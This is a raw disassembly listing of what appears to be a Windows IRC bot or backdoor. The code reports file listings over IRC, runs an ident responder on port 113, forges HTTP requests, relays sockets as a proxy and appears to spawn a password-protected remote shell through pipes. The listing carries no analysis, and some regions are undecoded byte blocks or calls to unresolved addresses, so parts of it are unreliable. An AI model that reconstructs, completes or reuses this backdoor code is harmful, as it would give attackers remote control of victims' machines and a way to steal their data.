[ebp+arg_0] call near ptr 25C0000h nop cmp [ebp+arg_8], ebx jz short loc_410958 mov eax, [ebp+var_8] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C006 add esp, 14h jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410958: ; CODE XREF: sub_410330+5F1j cmp [ebp+arg_C], ebx jz short loc_410972 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C006 pop ecx pop ecx jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410972: ; CODE XREF: sub_410330+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C006 add esp, 10h loc_41098C: ; CODE XREF: sub_410330+626j ; sub_410330+640j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 pop edi pop esi xor eax, eax pop ebx leave retn sub_410330 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109B2 proc near ; CODE XREF: sub_40FEFE+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 27306D8h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410A6A push esi push ebx nop call near ptr 2760AD0h cmp eax, esi mov [ebp+arg_4], eax jz short loc_410A63 loc_4109F7: ; CODE XREF: sub_4109B2+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BD10 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A14 mov edi, [ebp+arg_4] loc_410A14: ; CODE XREF: sub_4109B2+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2791104h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2710000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_410A5E call dword_4C9298 cmp eax, 2733h jnz short loc_410A63 xor eax, eax loc_410A5E: ; CODE XREF: sub_4109B2+9Bj sub [ebp+arg_4], eax jnz short loc_4109F7 loc_410A63: ; CODE XREF: sub_4109B2+43j ; sub_4109B2+A8j push ebx call near ptr 2660000h nop loc_410A6A: ; CODE XREF: sub_4109B2+30j pop edi pop esi pop ebx leave retn sub_4109B2 endp ; =============== S U B R O U T I N E ======================================= sub_410A6F proc near ; CODE XREF: sub_410080+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B960 test eax, eax pop ecx jbe short loc_410A98 loc_410A82: ; CODE XREF: sub_410A6F+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410A8C mov byte ptr [esi+edi], 2Fh loc_410A8C: ; CODE XREF: sub_410A6F+17j push edi inc esi call sub_41B960 cmp esi, eax pop ecx jb short loc_410A82 loc_410A98: ; CODE XREF: sub_410A6F+11j mov eax, edi pop edi pop esi retn sub_410A6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A9D proc near ; CODE XREF: sub_401AC7+5201p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4C9274 push 6 push 1 push 2 call dword_4C9384 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4C9304 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz short loc_410B7A mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B16 mov eax, offset byte_43B4B8 loc_410B16: ; CODE XREF: sub_410A9D+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4C9354 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4C931C pop esi loc_410B7A: ; CODE XREF: sub_410A9D+6Bj push ebx call dword_4C939C call dword_4C925C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C006 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BBA push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_410BBA: ; CODE XREF: sub_410A9D+102j pop edi pop ebx leave retn sub_410A9D endp ; --------------------------------------------------------------------------- loc_410BBE: ; DATA XREF: ___:00401660o ; sub_401AC7+4389o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BD10 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4C9304 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D1F mov eax, [ebp+8] push edi imul eax, 234h mov dword_43C24C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_410D1F push 5 push ebx call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_410D1F mov [ebp-0Ch], edi mov edi, 200h loc_410C49: ; CODE XREF: ___:00410CA8j ; ___:00410D08j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D1A movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4C9390 push eax lea eax, [ebp-238h] push offset dword_43495C push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_410C49 lea eax, [ebp-238h] push esi push eax call sub_41847D push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BD10 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE77 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C100 add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz loc_410C49 mov dword ptr [ebp-8], 1 jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410D1A: ; CODE XREF: ___:00410C5Ej cmp [ebp-8], esi jnz short loc_410D46 loc_410D1F: ; CODE XREF: ___:00410C05j ; ___:00410C29j ... call dword_4C9298 push eax lea eax, [ebp-238h] push offset dword_434918 push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 10h loc_410D46: ; CODE XREF: ___:00410D1Dj push ebx call dword_4C939C push dword ptr [ebp-4] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_410D69: ; DATA XREF: sub_401AC7+609Eo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4C9304 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410ED5 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43C24C[ecx], eax call dword_4C9214 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4C9330 test eax, eax jnz loc_410ED5 push 0Ah push dword ptr [ebp+8] call dword_4C932C test eax, eax jnz loc_410ED5 loc_410E19: ; CODE XREF: ___:00410E2Fj lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4C9398 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E19 movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4C9390 push eax lea eax, [ebp-350h] push offset unk_4349C4 push eax call sub_41C006 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3AD mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43C244[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410EFA push esi push esi ; --------------------------------------------------------------------------- dd 26F72CE8h, 4D8B9002h, 34C969C4h, 3B000002h, 548189C6h dd 740043C2h, 0D0753913h, 0FF63850Fh, 326AFFFFh, 0F65DE890h dd 0EDEB0226h, 0FF07E890h, 68500226h, 434988h, 4E91E8h dd 0EB595900h db 3 ; --------------------------------------------------------------------------- loc_410ED5: ; CODE XREF: ___:00410DCCj ; ___:00410E00j ... mov edi, [ebp+8] push edi call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-40h] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi loc_410EFA: ; DATA XREF: ___:00410E8Do push ebp mov ebp, esp mov eax, 1344h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4C9384 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110B0 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4C9304 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410F8A lea eax, [ebp-13Ch] push eax call dword_4C9388 jmp short loc_410F98 ; --------------------------------------------------------------------------- loc_410F8A: ; CODE XREF: ___:00410F79j push 2 lea eax, [ebp-8] push 4 push eax call dword_4C92BC loc_410F98: ; CODE XREF: ___:00410F88j cmp eax, edi jz loc_4110B0 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_4110B0 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4C9390 push eax lea eax, [ebp-344h] push offset unk_434A4C push eax call sub_41C006 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3AD imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43C24C[ebx] mov dword_43C244[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43C250[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_4110E1 push edi push edi call near ptr 26805C5h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_41109D loc_41104A: ; CODE XREF: ___:00411057j cmp [ebp-20h], edi jnz short loc_411059 push 32h call near ptr 268051Bh nop jmp short loc_41104A ; --------------------------------------------------------------------------- loc_411059: ; CODE XREF: ___:0041104Dj mov ebx, 1000h loc_41105E: ; CODE XREF: ___:00411099j push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4C931C cmp eax, edi jle short loc_4110B0 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_41105E jmp short loc_4110B0 ; --------------------------------------------------------------------------- loc_41109D: ; CODE XREF: ___:00411048j nop call near ptr 2680DCDh push eax push offset unk_434A0C call sub_415D62 pop ecx pop ecx loc_4110B0: ; CODE XREF: ___:00410F3Ej ; ___:00410F9Aj ... mov eax, [ebp-4] imul eax, 234h push dword_43C24C[eax] call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-4] call sub_40B6C9 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_4110E1: ; DATA XREF: ___:0041102Ao push ebp mov ebp, esp mov eax, 1128h call sub_41C2A0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411118: ; CODE XREF: ___:0041115Dj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43C250[esi] call dword_4C931C test eax, eax jle short loc_41115F push 0 push eax lea eax, [ebp-1128h] push eax push dword_43C24C[esi] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_411118 loc_41115F: ; CODE XREF: ___:00411142j push dword_43C250[esi] call dword_4C939C push dword ptr [ebp-14h] call sub_40B6C9 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h dd 22DEE84h ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43C24C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4C92EC test eax, eax jnz short loc_411202 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi nop call near ptr 26F0000h loc_411202: ; CODE XREF: ___:004111E8j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4C931C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_411383 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4C9258 test eax, eax jz short loc_41127B call dword_4C9298 push eax push offset unk_434B24 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push edi call near ptr 26F0000h nop loc_41127B: ; CODE XREF: ___:00411256j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4C92BC cmp eax, edi jnz short loc_4112A5 push dword ptr [ebp-18h] call dword_4C9390 push eax lea eax, [ebp-0B0h] push eax call sub_41C006 jmp short loc_4112B3 ; --------------------------------------------------------------------------- loc_4112A5: ; CODE XREF: ___:0041128Bj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C620 loc_4112B3: ; CODE XREF: ___:004112A3j pop ecx pop ecx push edi push ebx push offset byte_43B4B8 push dword ptr [esi] call dword_4C9354 cmp dword_4CC06C, edi jnz short loc_411315 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4113DD add esp, 10h test eax, eax jnz short loc_411315 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4C9354 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi nop call near ptr 26F0000h loc_411315: ; CODE XREF: ___:004112CAj ; ___:004112EBj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434AE8 call sub_415D62 push dword ptr [ebp+8] call sub_411694 add esp, 10h test eax, eax jnz short loc_41135C call near ptr 2680DCDh nop push eax push offset unk_434ABC call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push ebx call near ptr 26F0000h nop loc_41135C: ; CODE XREF: ___:00411337j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434A90 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411383 proc near ; CODE XREF: ___:00411218p ; ___:00411225p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jnz short loc_4113D3 mov esi, [ebp+arg_4] loc_4113A1: ; CODE XREF: sub_411383+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4113C8 test al, al jz short loc_4113D7 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jz short loc_4113A1 jmp short loc_4113D3 ; --------------------------------------------------------------------------- loc_4113C8: ; CODE XREF: sub_411383+27j push offset unk_434B50 call sub_415D62 pop ecx loc_4113D3: ; CODE XREF: sub_411383+19j ; sub_411383+43j xor eax, eax jmp short loc_4113DA ; --------------------------------------------------------------------------- loc_4113D7: ; CODE XREF: sub_411383+2Bj push 1 pop eax loc_4113DA: ; CODE XREF: sub_411383+52j pop esi leave retn sub_411383 endp ; =============== S U B R O U T I N E ======================================= sub_4113DD proc near ; CODE XREF: ___:004112E1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_411408 push [esp+arg_4] push [esp+4+arg_0] push offset dword_434B7C call sub_415D62 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411408: ; CODE XREF: sub_4113DD+11j push 1 pop eax retn sub_4113DD endp ; --------------------------------------------------------------------------- dword_41140C dd 81EC8B55h, 5A4ECh, 8458B00h, 786A5756h, 8DF08B59h, 0FFFDECBDh ; DATA XREF: sub_401AC7+2364o dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh dd 202h, 927415FFh, 0F633004Ch, 1D74C63Bh, 4CEC6850h, 0FE80043h dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 90570CC4h, 2DEB9BE8h dd 8A685702h, 0E8004116h, 23807E0h, 75C08590h, 52E89029h dd 500226F9h, 434CA868h, 48DCE800h, 59590000h, 925C15FFh dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Dh dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah, 7589E245h dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h, 537FFFFFh dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh, 9815FF53h dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h, 24C483B4h dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h dd 8D004111h, 5056F045h, 26EFECE8h, 4D8B9002h, 34C969B8h dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h, 0FF37850Fh dd 326AFFFFh, 0EF1DE890h, 0EDEB0226h, 0F7C7E890h, 68500226h dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 0E85659FFh, 22DE978h dd 0C0335B90h, 4244439h, 0C3C0940Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411694 proc near ; CODE XREF: ___:0041132Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4117E5 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43C24C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42708C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119B7 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_4116FF nop call near ptr 2680DCDh push eax push offset unk_434D4C call sub_415D62 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_411739 ; --------------------------------------------------------------------------- loc_4116FF: ; CODE XREF: sub_411694+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411A69 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411740 nop call near ptr 2680DCDh push eax push offset unk_434D4C call sub_415D62 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26A07C0h loc_411739: ; CODE XREF: sub_411694+69j xor eax, eax jmp loc_4117E0 ; --------------------------------------------------------------------------- loc_411740: ; CODE XREF: sub_411694+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0000h sub eax, ebx jz short loc_41179A dec eax jz short loc_411794 dec eax jz short loc_411780 call near ptr 2680DCDh nop push eax push offset unk_434D18 call sub_415D62 pop ecx pop ecx jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411780: ; CODE XREF: sub_411694+D5j mov edi, dword_4270BC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411794: ; CODE XREF: sub_411694+D2j push ebx push dword ptr [esi+10h] jmp short loc_41179E ; --------------------------------------------------------------------------- loc_41179A: ; CODE XREF: sub_411694+CFj push ebx push dword ptr [esi+14h] loc_41179E: ; CODE XREF: sub_411694+104j nop call near ptr 26A07C0h push 1 push dword ptr [esi+8] nop call near ptr 2730D36h loc_4117AF: ; CODE XREF: sub_411694+EAj ; sub_411694+FEj push dword ptr [esi+10h] mov edi, dword_427078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4C939C push esi call sub_41BA31 pop ecx push 1 pop eax loc_4117E0: ; CODE XREF: sub_411694+A7j pop edi pop esi pop ebx leave retn sub_411694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117E5 proc near ; CODE XREF: sub_411694+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BC9B mov esi, eax pop ecx cmp esi, edi jz loc_4118CF mov ebx, dword_427114 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427078 test eax, eax jnz short loc_411848 call near ptr 2680DCDh nop push eax push offset unk_434DFC jmp short loc_411868 ; --------------------------------------------------------------------------- loc_411848: ; CODE XREF: sub_4117E5+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_411870 nop call near ptr 2680DCDh push eax push offset unk_434DBC loc_411868: ; CODE XREF: sub_4117E5+61j call sub_415D62 pop ecx jmp short loc_41189E ; --------------------------------------------------------------------------- loc_411870: ; CODE XREF: sub_4117E5+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4118DE add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_4118D3 push offset unk_434D94 call sub_415CEE loc_41189E: ; CODE XREF: sub_4117E5+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118AA push [ebp+var_4] call edi loc_4118AA: ; CODE XREF: sub_4117E5+BEj cmp [ebp+var_8], 0 jz short loc_4118B5 push [ebp+var_8] call edi loc_4118B5: ; CODE XREF: sub_4117E5+C9j mov eax, [esi] test eax, eax jz short loc_4118BE push eax call edi loc_4118BE: ; CODE XREF: sub_4117E5+D4j mov eax, [esi+4] test eax, eax jz short loc_4118C8 push eax call edi loc_4118C8: ; CODE XREF: sub_4117E5+DEj push esi call sub_41BA31 pop ecx loc_4118CF: ; CODE XREF: sub_4117E5+1Dj xor eax, eax jmp short loc_4118D9 ; --------------------------------------------------------------------------- loc_4118D3: ; CODE XREF: sub_4117E5+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4118D9: ; CODE XREF: sub_4117E5+ECj pop edi pop esi pop ebx leave retn sub_4117E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118DE proc near ; CODE XREF: sub_4117E5+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BD10 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427110 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2740000h lea eax, [ebp+var_14] push eax lea eax, 